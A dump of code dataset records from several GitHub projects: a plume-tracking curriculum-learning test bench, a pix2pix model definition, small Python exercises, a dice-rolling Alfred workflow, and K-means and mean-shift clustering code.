0.84, 0.63, 0.47]\n # dists = [10, 20, 30, 30, 30, 30 , 30, 30]\n\n # sched = to_sched_em(rates, dists)\n\n\n print('SCHED', sched)\n\n def env_fn(): return TrailEnv()\n\n env = SubprocVecEnv([env_fn for _ in range(8)])\n eval_env = SubprocVecEnv([env_fn for _ in range(4)])\n \n discount = 0.975\n n_iters_per_ckpt = 3 * 1024\n tau = 0.9\n\n save_every = 1\n cases = [\n Case('Adaptive (Exp)', AdaptiveExpTeacher, teacher_params={'discount': discount, 'decision_point': 0.675, 'noise_range': 0.025, 'aggressive_checking': False}, cb_params={'save_every': save_every, 'save_path': f'{save_dir}/trained/adp/{run_id}'}),\n Case('Incremental', IncrementalTeacher, teacher_params={'discount': discount, 'decision_point': 0.7, 'aggressive_checking': False}, cb_params={'save_every': save_every, 'save_path': f'{save_dir}/trained/inc/{run_id}'}),\n # Case('Random', RandomTeacher, cb_params={'save_every': save_every, 'save_path': f'{save_dir}/trained/rand/{run_id}'}),\n\n # Case('Adaptive (Osc)', AdaptiveOscTeacher, {'conf':0.5}),\n # Case('Final', FinalTaskTeacher),\n ]\n\n for i in tqdm(range(n_runs)):\n for case in cases:\n print('RUNNING', case.name)\n teacher = case.teacher(sched=sched, trail_class=PlumeTrail, tau=tau, n_iters_per_ckpt=n_iters_per_ckpt, **case.teacher_params)\n # case.teacher_handle = teacher\n model = make_model(env, log_dir='log')\n model.set_env(env)\n\n traj = run_session(model, teacher, eval_env, case.cb_params, max_steps=3_000_000)\n # traj = run_session(model, teacher, eval_env, case.cb_params, max_steps=250)\n case.runs.append(traj)\n\n df = pd.DataFrame(cases)\n\n filename = f'plume_results_{run_id}.pkl'\n df.to_pickle(save_dir / filename)\n os.system(f'gsutil cp {save_dir/filename} gs://trail-track/plume_runs')\n print('done!')\n\n# %%\n\n# \n'''\n fig, axs = plt.subplots(1, 2, figsize=(10, 4))\n\n for i, case in enumerate(cases):\n label = {'label': case.name}\n for run in case.traj:\n axs[0].plot(run, color=f'C{i}', alpha=0.7, **label)\n label = {}\n\n axs[0].legend()\n axs[0].set_xlabel('Iteration')\n axs[0].set_ylabel('Schedule index')\n # axs[0].set_yticks(np.arange(len(sched)))\n\n # axs[0].set_xlim((800, 900))\n\n all_lens = [[len(run) for run in case.traj] for case in cases]\n all_means = [np.mean(lens) for lens in all_lens]\n all_serr = [2 * np.std(lens) / np.sqrt(n_runs) for lens in all_lens]\n all_names = [case.name for case in cases]\n\n axs[1].bar(np.arange(len(cases)), all_means, tick_label=all_names, yerr=all_serr)\n axs[1].set_ylabel('Iterations')\n\n fig.suptitle(f'Trail sched')\n fig.tight_layout()\n plt.savefig('trained/inc_plume/0/tt_trajs.png')\n\n\n# %% SHOWCASE PERFORMANCE IN PLOTS\n# TODO: mark odor along trajectory of agent\nsave_path = Path('trained/adp_exp/')\nmax_gen = 18\n\n# trail_args = {\n# 'length': 80,\n# 'width': 5,\n# 'diff_rate': 0.01,\n# 'radius': 100,\n# 'reward_dist': -1,\n# 'range': (-np.pi, np.pi)\n# }\ntrail_args = sched[-1]\ntrail = PlumeTrail(**trail_args)\n\nfor i in tqdm(list(range(1, max_gen + 1)) + ['_final']):\n model_path = save_path / f'gen{i}'\n # print('loading model')\n model = PPO.load(model_path, device='cpu')\n\n maps = []\n position_hists = []\n odor_hists = []\n\n # print('preparing to generate headings')\n for _ in range(8):\n trail_map = PlumeTrail(**trail_args)\n env = TrailEnv(trail_map, discrete=True, treadmill=True)\n\n obs = env.reset()\n for _ in range(int(trail.max_steps)):\n action, _ = model.predict(obs, deterministic=True)\n obs, reward, is_done, _ = env.step(action)\n\n if is_done:\n break\n \n # print('gen heading')\n maps.append(trail_map)\n position_hists.append(env.agent.position_history)\n odor_hists.append(env.agent.odor_history)\n\n fig, axs = plt.subplots(2, 4, figsize=(16, 8))\n\n for ax, m, position_history, odor_history in zip(axs.ravel(), maps, position_hists, odor_hists):\n hist = np.array(position_history)\n odor_hist = np.array(odor_history)\n odor_hist = odor_hist[odor_hist[:,0] > 0]\n x_min = min(-30, np.min(hist[:,0]))\n x_max = max(30, np.max(hist[:,0]))\n\n y_min = min(-50, np.min(hist[:,1]))\n y_max = max(10, np.max(hist[:,1]))\n\n m.plot(ax=ax, x_lim=(x_min, x_max), y_lim=(y_min, y_max))\n ax.plot(*zip(*position_history), linewidth=2, color='black')\n mpb = ax.scatter(odor_hist[:,1], odor_hist[:,2], c=odor_hist[:,0], cmap='summer', s=30, vmin=0, vmax=1)\n\n fig.suptitle('Sample of agent runs')\n fig.tight_layout()\n plt.savefig(save_path / f'gen{i}.png')\n plt.clf()\n\n\n# SINGLE PROBE\nmodel_path = Path('trained/adp_exp/gen_final.zip')\n\ntrail_args = sched[-1]\n# trail_args['start_y'] = -40\nmodel = PPO.load(model_path, device='cpu')\n\nmaps = []\nposition_hists = []\nodor_hists = []\n\n# print('preparing to generate headings')\nfor _ in range(1):\n trail_map = PlumeTrail(**trail_args)\n env = TrailEnv(trail_map, discrete=True, treadmill=True)\n\n obs = env.reset()\n for _ in range(200):\n action, _ = model.predict(obs, deterministic=True)\n obs, reward, is_done, _ = env.step(action)\n\n if is_done:\n break\n \n # print('gen heading')\n maps.append(trail_map)\n position_hists.append(env.agent.position_history)\n odor_hists.append(env.agent.odor_history)\n\n# fig, axs = plt.subplots(2, 4, figsize=(16, 8))\n# fig, axs = plt.subplots(1, 2, figsize=(16, 8))\nfig, axs = plt.subplots(1, 1)\naxs = np.array([axs])\n\nfor ax, m, position_history, odor_history in zip(axs.ravel(), maps, position_hists, odor_hists):\n hist = np.array(position_history)\n odor_hist = np.array(odor_history)\n odor_hist = odor_hist[odor_hist[:,0] > 0]\n\n x_min = min(-30, np.min(hist[:,0]))\n x_max = max(30, np.max(hist[:,0]))\n\n y_min = min(-50, np.min(hist[:,1]))\n y_max = max(10, np.max(hist[:,1]))\n\n m.plot(ax=ax, x_lim=(x_min, x_max), y_lim=(y_min, y_max))\n ax.plot(*zip(*position_history), linewidth=2, color='black')\n # mpb = ax.scatter(odor_hist[:,1], odor_hist[:,2], c=odor_hist[:,0], cmap='summer', s=30, vmin=0, vmax=1)\n # fig.colorbar(mpb, ax=ax)\n\nwidth = 6\nratio = (y_max - y_min) / (x_max - x_min)\n\nfig.set_size_inches(width, ratio*width)\n# fig.suptitle('Sample of agent runs')\nfig.tight_layout()\n# plt.savefig('sample_plume.svg')\n# plt.savefig('start_y_40.png')\n\n# \n### MANY LARGE PLOTS\n# model_path = Path('trained/plume_rate/0/gen30.zip')\nmodel_path = Path('trained/inc_tmp/gen65.zip')\n\ntrail_args = {\n 'wind_speed': 5,\n 'length_scale': 20,\n # 'range': (-np.pi, np.pi),\n 'heading': 0,\n 'start_rate': 0.25,\n # 'start_dist': 30,\n 'max_steps': 'auto',\n # 'emission_rate': 0.47\n}\n\nmodel = PPO.load(model_path, device='cpu')\nn_samps = 25\n\npath = Path(f'plume_examples_inc/')\nif not path.exists():\n path.mkdir()\n\nfor i in tqdm(range(n_samps)):\n\n maps = []\n position_hists = []\n odor_hists = []\n\n # print('preparing to generate headings')\n trail_map = PlumeTrail(**trail_args)\n # trail_map.max_steps = 1000\n print('RATE', trail_map.start_rate)\n\n env = TrailEnv(trail_map, discrete=True, treadmill=True)\n \n\n obs = env.reset()\n while True:\n action, _ = model.predict(obs, deterministic=True)\n obs, reward, is_done, _ = env.step(action)\n\n if is_done:\n break\n\n # print('gen heading')\n maps.append(trail_map)\n position_hists.append(np.array(env.agent.position_history))\n odor_hists.append(env.agent.odor_history)\n\n fig, axs = plt.subplots(1, 1, figsize=(6, 12))\n\n for ax, m, p_hist, odor_hist in zip([axs], maps, position_hists, odor_hists):\n odor_hist = np.array(odor_hist)\n odor_hist = odor_hist[odor_hist[:,0] > 0]\n\n x_min = min(-30, np.min(p_hist[:,0]))\n x_max = max(30, np.max(p_hist[:,0]))\n\n y_min = min(-50, np.min(p_hist[:,1]))\n y_max = max(10, np.max(p_hist[:,1]))\n\n m.plot(ax=ax, x_lim=(x_min-20, x_max+20), y_lim=(y_min - 20, y_max + 20))\n ax.plot(p_hist[:,0], p_hist[:,1], linewidth=2, color='black')\n ax.scatter(odor_hist[:,1], odor_hist[:,2], color='red', alpha=0.8, s=30)\n\n ratio = (y_max - y_min + 40) / (x_max - x_min + 40)\n height = 6 * ratio\n\n fig.set_size_inches((6, height))\n fig.tight_layout()\n\n plt.axis('off')\n plt.savefig(str(path / f'example_{i}.png'))\n # np.save(str(path / f'positions_{i}.npy'), p_hist)\n # with (path / f'map_{i}.pkl').open('wb') as fp:\n # pickle.dump(m, fp)\n \n plt.clf()\n\n# \n'''","repo_name":"wtong98/automated-curriculum-learning","sub_path":"trail_env/testbench/plume_bench.py","file_name":"plume_bench.py","file_ext":"py","file_size_in_byte":13732,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"27808624291","text":"import sys\ninput=sys.stdin.readline\nn=int(input())\nsol=list(map(int,input().split()))\n\nsol.sort()\nstart,end=0,n-1\nneutral_sol=[abs(sol[start]+sol[end]),start,end]\n\nwhile(start list:\n \"\"\"\n roll dice\n Args:\n dice (str): ndn\n \"\"\"\n dice_set = dice.roll(roll_set)\n result: list = dice_set.do_roll()\n return result\n\n\ndef main():\n '''\n main functions\n '''\n roll_quest = argv[1]\n roll_set = argv[2]\n roll_result = roll_dice(roll_set)\n roll_str = \", \".join([str(i) for i in roll_result])\n roll_sum = sum(roll_result)\n item = [makeItem(roll_quest, roll_str, str(roll_sum))]\n out = makeReturn(item)\n result = json.dumps(out, indent=4) + '\\n'\n stdout.write(result)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"TonyWu20/dice-alfredworkflow","sub_path":"roll_dice.py","file_name":"roll_dice.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16478032256","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\n\ndef weights_init_normal(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n torch.nn.init.normal(m.weight.data, 0.0, 0.02)\n elif classname.find('BatchNorm2d') != -1:\n torch.nn.init.normal(m.weight.data, 1.0, 0.02)\n torch.nn.init.constant(m.bias.data, 0.0)\n\ndef print_network(net):\n num_params = 0\n for param in net.parameters():\n num_params += param.numel()\n print(net)\n print('Total number of parameters: %d' % num_params)\n\n##############################\n# U-NET\n##############################\n\nclass UNetDown(nn.Module):\n def __init__(self, in_size, out_size, normalize=True, dropout=0.0):\n super(UNetDown, self).__init__()\n layers = [nn.Conv2d(in_size, out_size, 4, 2, 1, bias=False)]\n if normalize:\n layers.append(nn.InstanceNorm2d(out_size))\n layers.append(nn.LeakyReLU(0.2))\n if dropout:\n layers.append(nn.Dropout(dropout))\n self.model = nn.Sequential(*layers)\n\n def forward(self, x):\n return self.model(x)\n\nclass UNetUp(nn.Module):\n def __init__(self, in_size, out_size, dropout=0.0):\n super(UNetUp, self).__init__()\n layers = [ nn.ConvTranspose2d(in_size, out_size, 4, 2, 1, bias=False),\n nn.InstanceNorm2d(out_size),\n nn.ReLU(inplace=True)]\n if dropout:\n layers.append(nn.Dropout(dropout))\n\n self.model = nn.Sequential(*layers)\n\n def forward(self, x, skip_input):\n x = self.model(x)\n x = torch.cat((x, skip_input), 1)\n\n return x\n\nclass GeneratorUNet(nn.Module):\n def __init__(self, in_channels=3, out_channels=3):\n super(GeneratorUNet, self).__init__()\n\n self.down1 = UNetDown(in_channels, 64, normalize=False)\n self.down2 = UNetDown(64, 128)\n self.down3 = UNetDown(128, 256)\n self.down4 = UNetDown(256, 512, dropout=0.5)\n self.down5 = UNetDown(512, 512, dropout=0.5)\n self.down6 = UNetDown(512, 512, dropout=0.5)\n self.down7 = UNetDown(512, 512, dropout=0.5)\n self.down8 = UNetDown(512, 512, normalize=False, dropout=0.5)\n\n self.up1 = UNetUp(512, 512, dropout=0.5)\n self.up2 = UNetUp(1024, 512, dropout=0.5)\n self.up3 = UNetUp(1024, 512, dropout=0.5)\n self.up4 = UNetUp(1024, 512, dropout=0.5)\n self.up5 = UNetUp(1024, 256)\n self.up6 = UNetUp(512, 128)\n self.up7 = UNetUp(256, 64)\n\n '''\n self.final = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.ZeroPad2d((1, 0, 1, 0)),\n nn.Conv2d(128, out_channels, 4, padding=1),\n nn.Tanh()\n )\n '''\n self.up8 = nn.Sequential(\n nn.ConvTranspose2d(128, out_channels, 4, 2, 1),\n nn.Tanh()\n )\n def forward(self, x):\n # U-Net generator with skip connections from encoder to decoder\n d1 = self.down1(x)\n d2 = self.down2(d1)\n d3 = self.down3(d2)\n d4 = self.down4(d3)\n d5 = self.down5(d4)\n d6 = self.down6(d5)\n d7 = self.down7(d6)\n d8 = self.down8(d7)\n u1 = self.up1(d8, d7)\n u2 = self.up2(u1, d6)\n u3 = self.up3(u2, d5)\n u4 = self.up4(u3, d4)\n u5 = self.up5(u4, d3)\n u6 = self.up6(u5, d2)\n u7 = self.up7(u6, d1)\n\n return self.up8(u7)\n\n\n##############################\n# Discriminator\n##############################\n\n\nclass Discriminator_n_layers(nn.Module):\n def __init__(self, args ):\n super(Discriminator_n_layers, self).__init__()\n\n n_layers = args.n_D_layers\n in_channels = args.out_channels\n def discriminator_block(in_filters, out_filters, k=4, s=2, p=1, norm=True, sigmoid=False):\n \"\"\"Returns downsampling layers of each discriminator block\"\"\"\n layers = [nn.Conv2d(in_filters, out_filters, kernel_size=k, stride=s, padding=p)]\n if norm:\n layers.append(nn.BatchNorm2d(out_filters))\n layers.append(nn.LeakyReLU(0.2, inplace=True))\n if sigmoid:\n layers.append(nn.Sigmoid())\n print('use sigmoid')\n return layers\n\n sequence = [*discriminator_block(in_channels*2, 64, norm=False)] # (1,64,128,128)\n\n assert n_layers<=5\n\n if (n_layers == 1):\n 'when n_layers==1, the patch_size is (16x16)'\n out_filters = 64* 2**(n_layers-1)\n\n elif (1 < n_layers & n_layers<= 4):\n '''\n when n_layers==2, the patch_size is (34x34)\n when n_layers==3, the patch_size is (70x70), this is the size used in the paper\n when n_layers==4, the patch_size is (142x142)\n '''\n for k in range(1,n_layers): # k=1,2,3\n sequence += [*discriminator_block(2**(5+k), 2**(6+k))]\n out_filters = 64* 2**(n_layers-1)\n\n elif (n_layers == 5):\n '''\n when n_layers==5, the patch_size is (286x286), lis larger than the img_size(256),\n so this is the whole img condition\n '''\n for k in range(1,4): # k=1,2,3\n sequence += [*discriminator_block(2**(5+k), 2**(6+k))]\n # k=4\n sequence += [*discriminator_block(2**9, 2**9)] #\n out_filters = 2**9\n\n num_of_filter = min(2*out_filters, 2**9)\n\n sequence += [*discriminator_block(out_filters, num_of_filter, k=4, s=1, p=1)]\n sequence += [*discriminator_block(num_of_filter, 1, k=4, s=1, p=1, norm=False, sigmoid=True)]\n\n self.model = nn.Sequential(*sequence)\n\n def forward(self, img_A, img_B):\n # Concatenate image and condition image by channels to produce input\n img_input = torch.cat((img_A, img_B), 1)\n #print(\"self.model(img_input): \",self.model(img_input).size())\n return self.model(img_input)\n\n\n####################################################\n# Initialize generator and discriminator\n####################################################\ndef Create_nets(args):\n generator = GeneratorUNet()\n discriminator = Discriminator_n_layers(args)\n\n if torch.cuda.is_available():\n generator = generator.cuda()\n discriminator = discriminator.cuda()\n\n if args.epoch_start != 0:\n # Load pretrained models\n generator.load_state_dict(torch.load('saved_models/%s/generator_%d.pth' % (args.dataset_name, args.epoch)))\n discriminator.load_state_dict(torch.load('saved_models/%s/discriminator_%d.pth' % (args.dataset_name, args.epoch)))\n else:\n # Initialize weights\n generator.apply(weights_init_normal)\n discriminator.apply(weights_init_normal)\n print_network(generator)\n print_network(discriminator)\n\n return generator, discriminator\n","repo_name":"TeeyoHuang/pix2pix-pytorch","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6892,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"60"} +{"seq_id":"7142511071","text":"# File name: ...\\\\MyPythonXII\\Unit1\\PyChap02\\palindrome.py\r\n# Program to check palindrome string\r\ndef reverse(list1, N):\r\n size = len(list1)\r\n i = 0\r\n while i < N:\r\n temp = list1[size-1-i]\r\n list1[size-1-i] = list1[i]\r\n list1[i] = temp\r\n i = i + 1\r\n \r\nstr1 = input(\"Enter any string: \")\r\nstr1 = str1.upper()\r\nRlist = list(str1)\r\nN = len(str1) // 2\r\nreverse(Rlist, N)\r\nif list(str1) == Rlist:\r\n print(\"%s is a palindrome string\" %str1)\r\nelse:\r\n print(\"%s is not a palindrome string\" %str1)\r\n","repo_name":"mridulrb/Basic-Python-Examples-for-Beginners","sub_path":"Programs/MyPythonXII/Unit1/PyChap02/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72893367552","text":"# 散步\n# 时间限制：C/C++语言 1000MS；其他语言 3000MS\n# 内存限制：C/C++语言 65536KB；其他语言 589824KB\n# 题目描述：\n# 饭后散步是一个很好的习惯，一天晚上，小A在一条笔直的路上散步，起点在路上某处，但是因为路上没有标识，\n# 他并不知道这个起点位于路上的那个位置，现在将道路划分为N-1个等距的部分，你可以把这条路当成一个数轴，\n# 道路上的结点标记为1~N，起点和终点只可能是这N个点中的一个。\n#\n# 但是小A还提供了一个重要信息，他每隔一段时间就会用手机看一下自己走了多远，记作D，但是他并不记得他是朝着哪个方向走的，\n# 唯一可以确定的是，在两次看手机的间隔中他不会改变方向，每次看完手机后他可能继续向前或者回头走。\n#\n# 那么问题来了，已知他在散步过程中始终在1~N的范围内，那么符合上述条件的终点可能有多少个呢？\n#\n# 输入\n# 输入第一行包含一个正整数N，M，N表示道路的长度，也是数轴上点的数量，M是小A提供的D的数量。(N,M<=20000)\n#\n# 接下来有M行，每行一个正整数D，表示小A朝着某个方向走了D个单位。(D<=20000)\n#\n# 输出\n# 输出仅包含一个整数，表示可能的起点的数量。\n#\n#\n# 样例输入\n# 10 3\n# 5\n# 2\n# 6\n# 样例输出\n# 8\n\n\ndef select(now, step, total):\n if now - step - 1 > total - now - step:\n # 离1远，往正方向走\n return 0\n elif now - step - 1 <= total - now - step:\n # 离1近，往负方向走\n return 1\n\n\ndef is_ok(first, n, steps):\n visited = [[0 for _ in range(m)] for _ in range(n+1)]\n now = first\n for i, step in enumerate(steps):\n if now - step < 1:\n if now + step > n:\n return False\n elif now + step < n:\n if visited[now+step][i]:\n return False\n visited[now + step][i] = 1\n now += step\n continue\n elif now - step > 1:\n if now + step > n:\n if visited[now-step][i]:\n return False\n now -= step\n visited[now-step][i] = 1\n continue\n elif now + step < n:\n flag = select(now, step, n)\n if flag:\n if visited[now-step][i]:\n if visited[now+step][i]:\n return False\n else:\n visited[now+step][i] = 1\n now += step\n else:\n visited[now-step][i] = 1\n now -= step\n elif not flag:\n if visited[now+step][i]:\n if visited[now-step][i]:\n return False\n else:\n visited[now-step][i] = 1\n now -= step\n else:\n visited[now+step][i] = 1\n now += step\n return True\n\n\n[n, m] = list(map(int, input().split()))\nsteps = []\nres = 0\n# temp = 0\nfor i in range(m):\n steps.append(int(input()))\n# for i in range(1, n+1):\n# if is_ok(i, n, steps):\n# temp += 1\nsteps.reverse()\nfor i in range(1, n+1):\n if is_ok(i, n, steps):\n res += 1\n# res = min(temp, res)\nprint(res)\n","repo_name":"JustinLee32/2020_chun_qiu_zhao","sub_path":"360公司2020秋招/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8533313692","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 29 15:34:05 2019\n\n@author: NUS\n\"\"\"\nimport numpy as np \n#####################################################K-means clustering###########################################\n# randomly select the centroids\ndef randCent(data,k):\n \"\"\"random gengerate the centroids\n parameters\n ------------\n data: , shape=[n_samples, n_features], input data to be randomly select centorids.\n \n k: the number of the centroids\n ------------\n return\n centroids: , shape=[k, n_features]\n \"\"\"\n centroids = np.zeros([k, data.shape[1]], dtype=object)\n # grab the kth n_features\n for ind1 in range (k):\n centroids[ind1] = data[np.random.randint(0, high=data.shape[0]-1)]\n \n return centroids\n\ndef euclidist(point1,point2):\n # get numer of features\n m = point1.shape[0]\n features_sum = 0\n # features_num = 0\n for feature in range(m):\n features_sum += np.square(point1[feature] - point2[feature])\n distance = features_sum ** 0.5\n \n return distance\n \n\ndef create_dist_list(data, centroids, k):\n ### output array of distances of the nth point in data from kth centroid\n n = data.shape[0]\n m = data.shape[1]\n dist_list = np.zeros((n,k), dtype=np.float64)\n for point in range(n):\n for centroid in range(k):\n dist_list[point, centroid] = euclidist(data[point], centroids[centroid])\n return dist_list\n\ndef create_clusterAssment(data, centroids, k):\n n = data.shape[0]\n m = data.shape[1]\n \n dist_list = create_dist_list(data,centroids, k)\n clusterAssment = np.zeros((n, 1), dtype=np.int16)\n for point in range (n):\n centroids = np.where(dist_list[point] == np.amin(dist_list[point]))\n clusterAssment[point] = centroids[0][0]\n \n return clusterAssment\n\ndef create_newCentroids(data, clusterAssment, k):\n ### output array of [k,m] of centroids\n # Update centroid to the mean of the cluster\n n = data.shape[0]\n m = data.shape[1]\n # k is given\n sum_feat = np.zeros((k,m,2))\n centroids = np.zeros((k,m))\n \n for point in range(n):\n cluster = int(clusterAssment[point]) # in range k\n for feature in range (m):\n sum_feat[cluster][feature][0] += data[point][feature]\n sum_feat[cluster][feature][1] +=1\n \n for centroid in range(k): \n for feature in range (m):\n centroids[centroid][feature] = sum_feat[centroid][feature][0]/sum_feat[centroid][feature][1]\n \n return centroids\n \n \n \ndef KMeans(data,k):\n \"\"\" KMeans algorithm \n parameters\n ------------\n data: , shape=[n_samples, n_features], input data to be randomly select centorids.\n \n k: the number of the centroids\n ------------\n return\n centroids: , shape=[k, n_features]\n clusterAssignment: , shape=[n_samples, 1]\n \"\"\"\n #Initialize arrays and randomize centroids\n n_samples = data.shape[0]\n oldClusterAssment = np.zeros((n_samples, 1))\n centroids = randCent(data, k)\n \n #The distance to each centroid is calculated and the point is assigned to the nearest centroid, from 0 to k-1\n clusterAssment = create_clusterAssment(data, centroids, k)\n \n #Loop till convergence of cluster assignments\n while (not (np.array_equal(oldClusterAssment, clusterAssment))): \n \n #Update centroid to the mean of the cluster\n centroids = create_newCentroids(data, clusterAssment, k)\n \n #Reassign clusters\n oldClusterAssment = clusterAssment\n clusterAssment = create_clusterAssment(data,centroids, k)\n \n return centroids, clusterAssment\n\n \"\"\"# number of cluster = k\n # data points = data\n # data points number = n = data.shape[0]\n # data feature number = m = data.shape[1]\n # centroids = centroids = randCent(data, k), will be proccessed\n n = data.shape[0]\n m = data.shape[1]\n centroids = randCent(data,k)\n # euclidean distance calculator = np.linalg.norm(data1, data2, m)\n # data 1 is the starting point, data 2 is the end point\n # make dist_array = array[k, sample_no_eucli_dist]\n # each keeping the euclidean distance between the centroid and other data points\n dist_array = np.zeros([k, n], dtype=object)\n for ind1 in range (k):\n for ind2 in range (n):\n dist_array[ind1, ind2] = np.linalg.norm(centroids[ind1] - data[ind2])\n # find which centroid has smallest eucli_dist to data point, assign\n clusterAssment = np.zeros([n,1], dtype=object)\n # clusterAssment_holder: current_smallest_euclidistance\n clusterAssment_holder = np.full([n], np.inf, dtype=object)\n for ind3 in range (k):\n for ind4 in range (n):\n if dist_array[ind3, ind4] < clusterAssment_holder[ind4]:\n clusterAssment_holder[ind4] = dist_array[ind3, ind4]\n clusterAssment[ind4,0] = ind3\n # first rounds success\n # now to find new center\n centroids_old = np.zeros([k], dtype=object)\n while centroids_old.all() != centroids.all():\n # while resultant center not previous center\n centroids_old = centroids\n # find new center\n # get mean of all k-th centroid cluster data\n for ind5 in range (k):\n # sum_data = sum of the features of the data of the current loop\n sum_data = np.zeros([m], dtype=object)\n sum_num = 0\n # run through the n data points and add ones belonging to the cluster together\n for ind6 in range (n):\n if clusterAssment[ind6] == ind5:\n sum_data += data[ind6]\n sum_num += 1\n # update the ind5-th centroid\n if sum_num > 1:\n centroids[ind5] = sum_data/sum_num\n # now we have new centroids, reassign data cluster\n for ind7 in range (k):\n for ind8 in range (n):\n if dist_array[ind7, ind8] < clusterAssment_holder[ind8]:\n clusterAssment_holder[ind4] = dist_array[ind7, ind8]\n clusterAssment[ind8,0] = ind7\n # now it is ready for reassign of centroid\n # until centroids converge\n # that is the new center\n \n return centroids, clusterAssment\"\"\"\n\n##############################################color #############################################################\nimport random\ndef colors(k):\n \"\"\" generate the color for the plt.scatter\n parameters\n ------------\n k: the number of the centroids\n ------------\n return\n ret: , len = k\n \"\"\" \n ret = []\n for i in range(k):\n ret.append((random.uniform(0, 1), random.uniform(0, 1), random.uniform(0, 1)))\n return ret\n\n\n############################################mean shift clustering##############################################\nfrom collections import defaultdict\nimport warnings\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.utils._joblib import Parallel\nfrom sklearn.utils._joblib import delayed\n \ndef _mean_shift_single_seed(my_mean, X, nbrs, max_iter):\n \"\"\"mean shift cluster for single seed.\n Parameters\n ----------\n X : array-like, shape=[n_samples, n_features]\n Samples to cluster.\n nbrs: NearestNeighbors(radius=bandwidth, n_jobs=1).fit(X)\n max_iter: max interations \n return:\n mean(center) and the total number of pixels which is in the sphere\n \"\"\"\n n,m = X.shape[0], X.shape[1]\n # For each seed, climb gradient until convergence or max_iter\n # get first data point from my_mean(seed) and X\n # define as mean_old\n # initialize mean_old\n #print(my_mean)\n #mean_old = np.zeros([1,m], dtype=object)\n #mean = np.zeros([1,m], dtype=object)\n num_data = 0\n mean = np.zeros([1,m], dtype=object)\n mean_old = np.zeros([1,m], dtype=object)\n for feature in range(m):\n mean[0][feature] = my_mean[feature]\n #print(\"this is mean before\")\n #print(mean)\n iter_num=0\n placeholder_mean = np.zeros([1,m], dtype=object)\n while (not (np.array_equal(mean, mean_old))) and iter_num < max_iter:\n mean_old = mean\n mean_total = np.zeros([1,m], dtype=object)\n distances, indices = nbrs.radius_neighbors(mean)\n #print (\"indices\")\n #print (indices)\n neighbors = indices[0]\n #print (\"neighbors\")\n #print (neighbors)\n num_data = len(neighbors)\n mean_total = np.zeros([1,m], dtype=object)\n for neighbor in neighbors:\n #print(X[index])\n for feature in range (m):\n mean_total[0][feature]+=X[neighbor][feature]\n if num_data > 0:\n mean = np.divide(mean_total, num_data)\n \n # calculate new mean\n #print(\"this is mean after\")\n #print(mean) \n #print(mean, num_data)\n return mean, num_data\n\n\ndef mean_shift(X, bandwidth=5, seeds=None, bin_seeding=False,min_bin_freq=1, cluster_all=True, max_iter=300,\n n_jobs=None):\n \"\"\"pipline of mean shift clustering\n Parameters\n ----------\n X : array-like, shape=[n_samples, n_features]\n bandwidth: the radius of the sphere\n seeds: whether use the bin seed algorithm to generate the initial seeds\n bin_size: bin_size = bandwidth.\n min_bin_freq: for each bin_seed, the minimize of the points should cover\n return:\n cluster_centers shape=[n_cluster, n_features] ,labels , len = n_samples\n \"\"\"\n # find the points within the sphere\n #print (X) \n #print(\"this is X[0]\")\n #print(X[0])\n #print(\"this is X[0][0]\")\n #print(X[0][0])\n n,m = X.shape[0], X.shape[1]\n nbrs = NearestNeighbors(radius=bandwidth, n_jobs=1).fit(X)\n # get seeds\n seeds = get_bin_seeds(X, bandwidth) \n # get new means from seed\n ##########################################parallel computing############################\n center_intensity_dict = {}\n all_res = Parallel(n_jobs=n_jobs)(\n delayed(_mean_shift_single_seed)\n (seed, X, nbrs, max_iter) for seed in seeds)#\n ##########################################parallel computing############################\n #print(\"all_res\")\n #print(all_res)\n # rank the seeds by intensity\n for seed in range(len(all_res)):\n center_intensity_dict[tuple(all_res[seed][0][0])] = int(all_res[seed][1])\n #print(\"center_intensity_dict\")\n #print(center_intensity_dict)\n \n # clean zero entries\n center_intensity_dict_copy = center_intensity_dict.copy()\n for cluster in center_intensity_dict_copy:\n if center_intensity_dict[cluster] == 0:\n del center_intensity_dict[cluster]\n #print(\"center_intensity_dict\")\n #print(center_intensity_dict)\n \n # sort by descending intensity\n center_intensity_dict_sorted = sorted(center_intensity_dict, reverse = True)\n centroids = center_intensity_dict_sorted\n #print(\"center_intensity_dict_sorted\")\n #print(center_intensity_dict_sorted)\n \n # remove clusters too close to bigger cluster\n bandwidth2 = bandwidth/2\n nbrs2 = NearestNeighbors(radius=bandwidth2, n_jobs=1).fit(center_intensity_dict_sorted)\n keep_centroid = []\n remove_centroid = []\n num_centroids = len(centroids)\n for centroid in range (num_centroids):\n if centroid not in remove_centroid:\n keep_centroid.append(centroid)\n #print(\"centroids[centroid]\")\n #print(centroids[centroid])\n dist, indices = nbrs2.radius_neighbors(np.array(centroids[centroid]).reshape(1,m))\n removableIndices = (indices[0])\n for index in removableIndices:\n if (index not in keep_centroid \n and index not in remove_centroid):\n remove_centroid.append(index)\n \n #assign all data points\n cluster_centers = np.array([centroids[index] for index in keep_centroid])\n clusterAssment = create_clusterAssment(X, cluster_centers, len(keep_centroid))\n #print(\"clusterAssment\")\n #print(clusterAssment)\n labels = clusterAssment.flatten()\n \n return cluster_centers, labels\n\ndef get_bin_seeds(X, bin_size, min_bin_freq=1):\n \"\"\"generate the initial seeds, in order to use the parallel computing \n Parameters\n ----------\n X : array-like, shape=[n_samples, n_features]\n bin_size: bin_size = bandwidth.\n min_bin_freq: for each bin_seed, the minimize of the points should cover\n return:\n bin_seeds: dict-like bin_seeds = {key=seed, key_value=he total number of pixels which is in the sphere }\n \"\"\"\n\n n = X.shape[0]\n m = X.shape[1]\n \n # process all data 